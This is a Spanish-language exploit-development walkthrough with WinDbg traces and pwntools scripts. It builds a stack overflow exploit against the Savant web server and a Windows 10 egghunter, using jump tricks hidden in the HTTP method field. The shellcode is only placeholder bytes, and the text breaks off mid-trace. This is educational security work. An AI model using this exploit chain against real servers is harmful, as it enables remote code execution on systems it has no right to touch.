0428eab4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0428eac4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0428ead4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0428eae4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Sabemos que 0x19
bytes mas adelante se encuentra la ruta de la petición que equivale al inicio de nuestras A's
por lo que si ejecutamos los 3 bytes de la string GET
como ensamblador despues ejecutará null
bytes y corromperá el programa
0:000> db eip + 0x19
0428ea8d 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0428ea9d 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0428eaad 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0428eabd 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0428eacd 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0428eadd 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0428eaed 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0428eafd 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Ya que lo que ejecutamos es la string del metodo como instreuccion modificamos el metodo de GET
al opcode de un jmp
corto para saltar los 0x19
bytes necesitados
#!/usr/bin/python3
from pwn import remote, p32, asm
offset = 253
junk = b"A" * offset
ret = p32(0x00418674)
payload = junk + ret
method = asm("jmp $+0x19")
content = method + b" /" + payload + b"\r\n\r\n"
shell = remote("Windows", 80)
shell.sendline(content)
Sin embargo al ejecutar el ret
en lugar de ejecutar un jmp
corto intenta ejecutar retf
esto pasa porque en lugar de escribir \xeb\x17
que equivale a jmp $+0x19
escribió \xcb\x17
, esto es extraño porque no estamos escribiendo ningun badchar pero por alguna razón cambia un byte
, entonces necesitamos buscar alternativas
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=02372ca0 ecx=0000000e edx=0428e508 esi=02372ca0 edi=0041703c
eip=00418674 esp=0428ea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
Savant+0x18674:
00418674 58 pop eax
0:000> p
eax=0428fe60 ebx=02372ca0 ecx=0000000e edx=0428e508 esi=02372ca0 edi=0041703c
eip=00418675 esp=0428ea20 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
Savant+0x18675:
00418675 c3 ret
0:000> p
eax=0428fe60 ebx=02372ca0 ecx=0000000e edx=0428e508 esi=02372ca0 edi=0041703c
eip=0428ea74 esp=0428ea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
0428ea74 cb retf
0:000> dd eip L1
0428ea74 000017cb
Podemos intentar en lugar de un simple jmp
usar un jmp condicional para cambiar el opcode, para ello usaremos je
tambien llamado jz
que salta si la flag zf
se activa, para activarlo usaremos xor eax, eax
que da como resultado 0
y lo activa, pero como este opcode pesa 2
bytes bajaremos el salto de 0x19
a solo 0x17
method = b""
method += asm("xor eax, eax")
method += asm("je $+0x17")
Pero ¡oh sorpresa!, intenta ejecutar la instrucción push esp
, ¿porque?, similar a lo anterior el programa cambio los bytes del opcode \x74\x15
a los bytes \x54\x15
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=006e2ca0 ecx=0000000e edx=0430e508 esi=006e2ca0 edi=0041703c
eip=00418674 esp=0430ea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
Savant+0x18674:
00418674 58 pop eax
0:000> p
eax=0430fe60 ebx=006e2ca0 ecx=0000000e edx=0430e508 esi=006e2ca0 edi=0041703c
eip=00418675 esp=0430ea20 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
Savant+0x18675:
00418675 c3 ret
0:000> p
eax=0430fe60 ebx=006e2ca0 ecx=0000000e edx=0430e508 esi=006e2ca0 edi=0041703c
eip=0430ea74 esp=0430ea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
0430ea74 31c0 xor eax,eax
0:000> p
eax=00000000 ebx=006e2ca0 ecx=0000000e edx=0430e508 esi=006e2ca0 edi=0041703c
eip=0430ea76 esp=0430ea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0430ea76 54 push esp
0:000> dd eip L1
0430ea76 00001554
Después de probar multiples jmps condicionales encontramos uno que funciona y es jle
, que salta si la flag zf
esta activada o si la flag sf
no es igual a la flag of
method = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")
Controlamos la condicion activando la flag zf
con el xor eax, eax
, esta vez los bytes no cambian y la instrucción es un jle
a 0x0427ea8d
y la condicion se cumple
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00482ca0 ecx=0000000e edx=0427e508 esi=00482ca0 edi=0041703c
eip=00418674 esp=0427ea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
Savant+0x18674:
00418674 58 pop eax
0:000> p
eax=0427fe60 ebx=00482ca0 ecx=0000000e edx=0427e508 esi=00482ca0 edi=0041703c
eip=00418675 esp=0427ea20 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
Savant+0x18675:
00418675 c3 ret
0:000> p
eax=0427fe60 ebx=00482ca0 ecx=0000000e edx=0427e508 esi=00482ca0 edi=0041703c
eip=0427ea74 esp=0427ea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
0427ea74 31c0 xor eax,eax
0:000> p
eax=00000000 ebx=00482ca0 ecx=0000000e edx=0427e508 esi=00482ca0 edi=0041703c
eip=0427ea76 esp=0427ea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0427ea76 7e15 jle 0427ea8d [br=1]
Al ejecutar el jle
saltamos los 0x17
bytes al inicio de las A's
sin embargo aunque ejecutamos esas A's como instrucciones y tenemos más espacio solo podemos escribir 253
bytes que aun no es suficiente para un shellcode
de msfvenom
0:000> p
eax=00000000 ebx=00482ca0 ecx=0000000e edx=0427e508 esi=00482ca0 edi=0041703c
eip=0427ea8d esp=0427ea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0427ea8d 41 inc ecx
0:000> db eip L100
0427ea8d 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427ea9d 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eaad 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eabd 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eacd 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eadd 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eaed 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eafd 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eb0d 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eb1d 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eb2d 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eb3d 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eb4d 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eb5d 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eb6d 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0427eb7d 41 41 41 41 41 41 41 41-41 41 41 41 41 74 86 41 AAAAAAAAAAAAAt.A
EggHunter
Lo primero que necesitamos para poder utilizar un egghunter es almacenar un shellcode
de tamaño normal en alguna parte de la memoria, no importa si no conocemos la dirección, para poder encontrarlo facilmente enviaremos la cadena w00tw00t
antes de las C's
, la pregunta es ¿donde lo enviamos? podemos reversear el programa para buscar un lugar o siguiendo la lógica si hacemos una petición podemos enviar una data
y tal vez se guarde en algun lugar de la memoria
#!/usr/bin/python3
from pwn import remote, p32, asm
offset = 253
junk = b"A" * offset
ret = p32(0x00418674)
shellcode = b""
shellcode += b"w00tw00t"
shellcode += b"C" * 300
payload = junk + ret
method = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")
content = b""
content += method + b" /" + payload + b"\r\n\r\n"
content += shellcode
shell = remote("Windows", 80)
shell.sendline(content)
Al ejecutar el exploit podemos buscar la cadena w00tw00t
, en toda la memoria dentro del rango windows-user
, nuestros bytes están en la dirección 0x047c8183
0:000> s -a 0 L?80000000 w00tw00t
047c8183 77 30 30 74 77 30 30 74-43 43 43 43 43 43 43 43 w00tw00tCCCCCCCC
0:000> db 0x047c8183
047c8183 77 30 30 74 77 30 30 74-43 43 43 43 43 43 43 43 w00tw00tCCCCCCCC
047c8193 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
047c81a3 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
047c81b3 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
047c81c3 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
047c81d3 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
047c81e3 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
047c81f3 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
Esta dirección parece ser parte del heap
por lo que es complicado hacer un stack pivot o encontrar una forma de calcular donde esta el shellcode, pero esta ahi
0:000> !address 0x047c8183
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Heap
Base Address: 047c0000
End Address: 047d5000
Region Size: 00015000 ( 84.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 047c0000
Allocation Protect: 00000004 PAGE_READWRITE
More info: heap owning the address: !heap -s -h 0x2210000
More info: heap segment
More info: heap entry containing the address: !heap -x 0x47c8183
Content source: 1 (target), length: ce7d
La utilidad mona integra un egghunter probablemente basado en el siguiente paper, sin embargo si lo ejecutamos este fallará, enseguida analizaremos el porque
0:000> !py mona egghunter
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py egghunter
[+] Egg set to w00t
[+] Generating traditional 32bit egghunter code
[+] Preparing output file 'egghunter.txt'
- (Re)setting logfile C:\mona\egghunter.txt
[+] Egghunter (33 bytes):
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
Al desensamblar el egghunter
podriamos ver algo asi, inicia obteniendo en edx
la ultima dirección de la página y saltando a la siguiente incrementando el registro en una unidad, luego guarda el valor actual de edx en el stack
para no perderlo
.page:
or dx, 0xfff ; get last address in page
.find:
inc edx ; increase memory counter
push edx ; push value to stack
Después mueve al registro eax el valor 0x2
que simboliza a la función NtAccessCheckAndAuditAlarm
para despues ejecutar int 0x2e
que cambia el modo de usuario a kernel generando asi una syscall
que ejecutará la función, esta función la utiliza para evitar violaciones de acceso en tiempo de ejecución, de esta forma comprueba si la página donde apunta edx es válida antes de ejecutar instrucciones
push 0x2 ; push NtAccessCheckAndAuditAlarm
pop eax ; $eax = NtAccessCheckAndAuditAlarm
int 0x2e ; system call
La llamada a esta función se usa para comprobar que la página sea válida evitando asi violaciones de acceso en siguientes instrucciones, cuando la página no es valida la función devuelve el valor en eax
y si es 0xc0000005
nos indica que no existe
cmp al, 0x5 ; check ACCESS_VIOLATION (0xc0000005)
Después de eso restauramos el valor de edx
que guardamos y si el valor devuelto es 0xc0000005
volvemos al inicio para aumentar la página
hasta que sea valida
pop edx ; restore edx
jz .page ; if zf == 1 -> next page
Una vez que es válida guarda en eax
la cadena w00t
en hexadecimal y en edi
la dirección que tiene actualmente edx
para poder ser comparados mas adelante
mov eax, 0x74303077 ; $eax = "w00t"
mov edi, edx ; $edi = address
Luego de eso usa scasd
para comparar si los bytes que se encuentran en [edi]
sean iguales a la cadena w00t
, esto lo hace 2 veces, ¿porque w00tw00t
y no solo w00t
? porque esos 4
bytes podrian aparecer varias veces dando asi falsos positivos, si la comparación no es igual aumenta la dirección en una unidad hasta que sea válida
scasd ; cmp eax, [edi]
jnz .find ; if zf == 0 -> loop
scasd ; cmp eax, [edi]
jnz .find ; if zf == 0 -> loop
Cuando la comparación se haga 2 veces quiere decir que valido la cadena w00tw00t
enviada antes del shellcode
y lo que esta despues es este por lo que salta ahi
jmp edi ; if zf == 1 -> exec
El cógigo del egghunter
se ve algo asi, lo podemos compilar con nasm
y ld
, para obtenerlo en el formato que necesitamos para python usaremos objdump
y regex
global _start
_start:
.page:
or dx, 0xfff ; get last address in page
.find:
inc edx ; increase memory counter
push edx ; push value to stack
push 0x2 ; push NtAccessCheckAndAuditAlarm
pop eax ; $eax = NtAccessCheckAndAuditAlarm
int 0x2e ; system call
cmp al, 0x5 ; check ACCESS_VIOLATION (0xc0000005)
pop edx ; restore edx
jz .page ; if zf == 1 -> next page
mov eax, 0x74303077 ; $eax = "w00t"
mov edi, edx ; $edi = address
scasd ; cmp eax, [edi]
jnz .find ; if zf == 0 -> loop
scasd ; cmp eax, [edi]
jnz .find ; if zf == 0 -> loop
jmp edi ; if zf == 1 -> exec
❯ nasm -f elf egghunter.asm -o egghunter.o
❯ ld egghunter.o -m elf_i386 -o egghunter
❯ objdump -d egghunter | grep '[0-9a-f]:' | grep -v 'egghunter' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7
Nuestro exploit ahora se puede ver asi, al ejecutar el pop eax; ret;
volverá al jmp corto que saltara al egghunter
que buscara el shellcode que son C's
en la memoria
#!/usr/bin/python3
from pwn import remote, p32, asm
egg = b"w00t" * 2
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
offset = 253
junk = b"A" * (offset - len(egghunter))
shellcode = b"C" * 300
ret = p32(0x00418674)
payload = b""
payload += egghunter
payload += junk
payload += ret
method = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")
content = b""
content += method + b" /" + payload + b"\r\n\r\n"
content += egg + shellcode
shell = remote("Windows", 80)
shell.sendline(content)
Para ver su funcionamiento y porque falla enviamos el exploit
y nos detenemos después del salto corto y justo antes de iniciar a ejecutar todo el egghunter
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=77842990 esi=018f2aa8 edi=0041703c
eip=00418674 esp=0388ea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Savant+0x18674:
00418674 58 pop eax
0:000> p
eax=0388fe60 ebx=018f2aa8 ecx=0000000e edx=77842990 esi=018f2aa8 edi=0041703c
eip=00418675 esp=0388ea20 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Savant+0x18675:
00418675 c3 ret
0:000> p
eax=0388fe60 ebx=018f2aa8 ecx=0000000e edx=77842990 esi=018f2aa8 edi=0041703c
eip=0388ea74 esp=0388ea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0388ea74 31c0 xor eax,eax
0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=77842990 esi=018f2aa8 edi=0041703c
eip=0388ea76 esp=0388ea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0388ea76 7e15 jle 0388ea8d [br=1]
0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=77842990 esi=018f2aa8 edi=0041703c
eip=0388ea8d esp=0388ea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0388ea8d 6681caff0f or dx,0FFFh
Ahora en el eip podemos ver el egghunter, ya que entendimos el funcionamiento establecemos el breakpoint en 0x0388eaab
antes de que salte al shellcode
0:000> u eip L10
0388ea8d 6681caff0f or dx,0FFFh
0388ea92 42 inc edx
0388ea93 52 push edx
0388ea94 6a02 push 2
0388ea96 58 pop eax
0388ea97 cd2e int 2Eh
0388ea99 3c05 cmp al,5
0388ea9b 5a pop edx
0388ea9c 74ef je 0388ea8d
0388ea9e b877303074 mov eax,74303077h
0388eaa3 89d7 mov edi,edx
0388eaa5 af scas dword ptr es:[edi]
0388eaa6 75ea jne 0388ea92
0388eaa8 af scas dword ptr es:[edi]
0388eaa9 75e7 jne 0388ea92
0388eaab ffe7 jmp edi
0:000> bp 0x0388eaab
0:000> g
Sin embargo al ejecutarlo usa todos los recursos para buscar w00tw00t
en toda la memoria pero por alguna razón extraña nunca lo hace aunque se encuentra ahi
EggHunter win10
¿Cual es el problema? hasta Windows 8
la función NtAccessCheckAndAuditAlarm
tuvo el mismo syscall NR que es 0x2
sin embargo en Windows 10
este cambia constantemente con cada actualización, la solución es buscar el syscall NR especifico para tu version de Windows o aprovechando que estamos en windbg
podemos verlo desde el modulo ntdll, para esta versión especifica de Windows es 0x1c6
0:000> u ntdll!NtAccessCheckAndAuditAlarm
ntdll!NtAccessCheckAndAuditAlarm:
778420c0 b8c9010000 mov eax,1C6h
778420c5 e803000000 call ntdll!NtAccessCheckAndAuditAlarm+0xd (778420cd)
778420ca c22c00 ret 2Ch
778420cd 8bd4 mov edx,esp
778420cf 0f34 sysenter
778420d1 c3 ret
778420d2 8da42400000000 lea esp,[esp]
778420d9 8da42400000000 lea esp,[esp]
La solución es simple, cambiamos el syscall NR en eax de 0x2
a 0x1c6
, esto tenemos que hacerlo de una forma que evitemos los null bytes
en el egghunter
push 0x2
pop eax
xor eax, eax
mov ax, 0x1c6
De forma opcional podemos setear el registro edx
a 0 al inicio para partir desde la dirección 0x0
, esto puede reducir el tiempo de espera significativamente
xor edx, edx
Ahora el codigo del egghunter
se ve de esta forma, aunque después de estas modificaciones el peso en bytes
aumento un poco ahora deberia funcionar
global _start
_start:
xor edx, edx ; $edx = 0x0
.page:
or dx, 0xfff ; get last address in page
.find:
inc edx ; increase memory counter
push edx ; push value to stack
xor eax, eax ; $eax = 0x0
mov ax, 0x1c6 ; $eax = NtAccessCheckAndAuditAlarm
int 0x2e ; system call
cmp al, 0x5 ; check ACCESS_VIOLATION (0xc0000005)
pop edx ; restore edx
jz .page ; if zf == 1 -> next page
mov eax, 0x74303077 ; $eax = "w00t"
mov edi, edx ; $edi = address
scasd ; cmp eax, [edi]
jnz .find ; if zf == 0 -> loop
scasd ; cmp eax, [edi]
jnz .find ; if zf == 0 -> loop
jmp edi ; if zf == 1 -> exec
❯ objdump -d egghunter | grep '[0-9a-f]:' | grep -v 'egghunter' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\x31\xd2\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\xb8\xc9\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7
Repasemos, modificamos el egghunter original para hacerlo funcionar en la ultima versión de Windows 10
, ya que lo tenemos nos daremos un tiempo para entender como funciona viendo las instrucciones y comportamiento desde el debugger
0:000> u eip L11
01c8ea8d 31d2 xor edx,edx
01c8ea8f 6681caff0f or dx,0FFFh
01c8ea94 42 inc edx
01c8ea95 52 push edx
01c8ea96 31c0 xor eax,eax
01c8ea98 66b8c901 mov ax,1C6h
01c8ea9c cd2e int 2Eh
01c8ea9e 3c05 cmp al,5
01c8eaa0 5a pop edx
01c8eaa1 74ea je 01c8ea8f
01c8eaa3 b877303074 mov eax,74303077h
01c8eaa8 89d7 mov edi,edx
01c8eaaa af scas dword ptr es:[edi]
01c8eaab 75e7 jne 01c8ea94
01c8eaad af scas dword ptr es:[edi]
01c8eaae 75e4 jne 01c8ea94
01c8eab0 ffe7 jmp edi
El egghunter inicia seteando el registro edx
en 0
, obtiene la ultima pagina e incrementa edx en una unidad, el valor final de edx es 0x1000
, y esta sera la cantidad que aumentara en cada vuelta hsata comprobar si la dirección es válida
0:000> r
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=77842990 esi=018f2aa8 edi=0041703c
eip=01c8ea8d esp=01c8ea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c8ea8d 31d2 xor edx,edx
0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=00000000 esi=018f2aa8 edi=0041703c
eip=01c8ea8f esp=01c8ea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c8ea8f 6681caff0f or dx,0FFFh
0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=00000fff esi=018f2aa8 edi=0041703c
eip=01c8ea94 esp=01c8ea24 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
01c8ea94 42 inc edx
0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=00001000 esi=018f2aa8 edi=0041703c
eip=01c8ea95 esp=01c8ea24 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
01c8ea95 52 push edx
Guarda el valor actual de edx y establece el valor de eax
al syscall NR que en el caso de la función NtAccessCheckAndAuditAlarm es 0x1c6
, seguido a ello hace la syscall
0:000> r
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=00001000 esi=018f2aa8 edi=0041703c
eip=01c8ea95 esp=01c8ea24 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
01c8ea95 52 push edx
0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=00001000 esi=018f2aa8 edi=0041703c
eip=01c8ea96 esp=01c8ea20 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
01c8ea96 31c0 xor eax,eax
0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=00001000 esi=018f2aa8 edi=0041703c
eip=01c8ea98 esp=01c8ea20 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c8ea98 66b8c901 mov ax,1C6h
0:000> p
eax=000001c6 ebx=018f2aa8 ecx=0000000e edx=00001000 esi=018f2aa8 edi=0041703c
eip=01c8ea9c esp=01c8ea20 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c8ea9c cd2e int 2Eh
0:000> p
eax=c0000005 ebx=018f2aa8 ecx=01c8ea20 edx=01c8ea9e esi=018f2aa8 edi=0041703c
eip=01c8ea9e esp=01c8ea20 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c8ea9e 3c05 cmp al,5
Compara el valor devuelto en eax con 0xc0000005
, si ese es el valor la dirección no es valida por lo que vuelve a aumentar el valor en 0x1000
y repite el proceso de nuevo
0:000> r
eax=c0000005 ebx=018f2aa8 ecx=01c8ea20 edx=01c8ea9e esi=018f2aa8 edi=0041703c
eip=01c8ea9e esp=01c8ea20 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c8ea9e 3c05 cmp al,5
0:000> p
eax=c0000005 ebx=018f2aa8 ecx=01c8ea20 edx=01c8ea9e esi=018f2aa8 edi=0041703c
eip=01c8eaa0 esp=01c8ea20 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c8eaa0 5a pop edx
0:000> p
eax=c0000005 ebx=018f2aa8 ecx=01c8ea20 edx=00001000 esi=018f2aa8 edi=0041703c
eip=01c8eaa1 esp=01c8ea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c8eaa1 74ea je 01c8ea8f [br=1]
0:000> u 01c8ea8f
01c8ea8f 6681caff0f or dx,0FFFh
01c8ea94 42 inc edx
01c8ea95 52 push edx
01c8ea96 31c0 xor eax,eax
01c8ea98 66b8c901 mov ax,1C6h
01c8ea9c cd2e int 2Eh
01c8ea9e 3c05 cmp al,5
Cuando la dirección es válida el valor devuelto será diferente por lo que no se cumple la condición y je
no saltará a aumentar la página y seguira con el flujo normal
0:000> r
eax=c000005c ebx=01a92aa8 ecx=0392ea20 edx=003a1000 esi=01a92aa8 edi=0041703c
eip=0392eaa1 esp=0392ea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0392eaa1 74ec je 0392ea8f [br=0]
0:000> p
eax=c000005c ebx=01a92aa8 ecx=0392ea20 edx=003a1000 esi=01a92aa8 edi=0041703c
eip=0392eaa3 esp=0392ea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0392eaa3 b877303074 mov eax,74303077h
Después de ello guarda en eax los bytes en hex de la cadena w00t
y en edi la dirección, usando scasd
compara el valor de eax con el contenido dentro de edi
, pero como ahora mismo el valor de edi es 0x00400000
la comparación fallará
0:000> r
eax=c000005c ebx=001a2aa8 ecx=01adea20 edx=00400000 esi=001a2aa8 edi=0041703c
eip=01adeaa3 esp=01adea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
01adeaa3 b877303074 mov eax,74303077h
0:000> p
eax=74303077 ebx=001a2aa8 ecx=01adea20 edx=00400000 esi=001a2aa8 edi=0041703c
eip=01adeaa8 esp=01adea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
01adeaa8 89d7 mov edi,edx
0:000> p
eax=74303077 ebx=001a2aa8 ecx=01adea20 edx=00400000 esi=001a2aa8 edi=00400000
eip=01adeaaa esp=01adea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
01adeaaa af scas dword ptr es:[edi] es:0023:00400000=00905a4d
0:000> db 0x00400000 L4
00400000 4d 5a 90 00 MZ..
Si la comparación falla es que aun no ha encontrado el huevo que enviamos antes del shellcode por lo que volvera a incrementar la dirección en una unidad
0:000> r
eax=74303077 ebx=001a2aa8 ecx=01adea20 edx=00400000 esi=001a2aa8 edi=00400000
eip=01adeaaa esp=01adea24 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
01adeaaa af scas dword ptr es:[edi] es:0023:00400000=00905a4d
0:000> p
eax=74303077 ebx=001a2aa8 ecx=01adea20 edx=00400000 esi=001a2aa8 edi=00400004
